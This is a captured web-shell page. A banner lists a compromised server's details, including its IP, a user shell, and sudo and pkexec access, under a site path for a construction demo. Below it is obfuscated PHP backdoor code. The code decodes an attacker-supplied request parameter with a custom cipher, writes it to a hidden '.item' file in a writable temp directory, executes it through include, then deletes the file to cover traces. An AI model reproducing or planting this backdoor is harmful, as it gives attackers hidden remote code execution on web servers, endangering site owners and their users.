| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/search/ |
Upload File : |
<?php
if(@$_REQUEST["r\x65s\x6F\x75\x72ce"] !== null){
$k = $_REQUEST["r\x65s\x6F\x75\x72ce"];
$k =explode ( '.' , $k );
$obj = '';
$s6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s6);
$p = 0;
foreach ($k as $v5) { $sChar = ord($s6[$p % $sLen]);
$dec = ((int)$v5 - $sChar - ($p % 10))^ 70;
$obj .=chr($dec);
$p++;
}
$binding = array_filter(["/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getenv("TEMP")]);
$factor = 0;
do {
$key = $binding[$factor] ?? null;
if ($factor >= count($binding)) break;
if ((bool)is_dir($key) && (bool)is_writable($key)) {
$component = sprintf("%s/.item", $key);
if (@file_put_contents($component, $obj) !== false) {
include $component;
unlink($component);
die();
}
}
$factor++;
} while (true);
}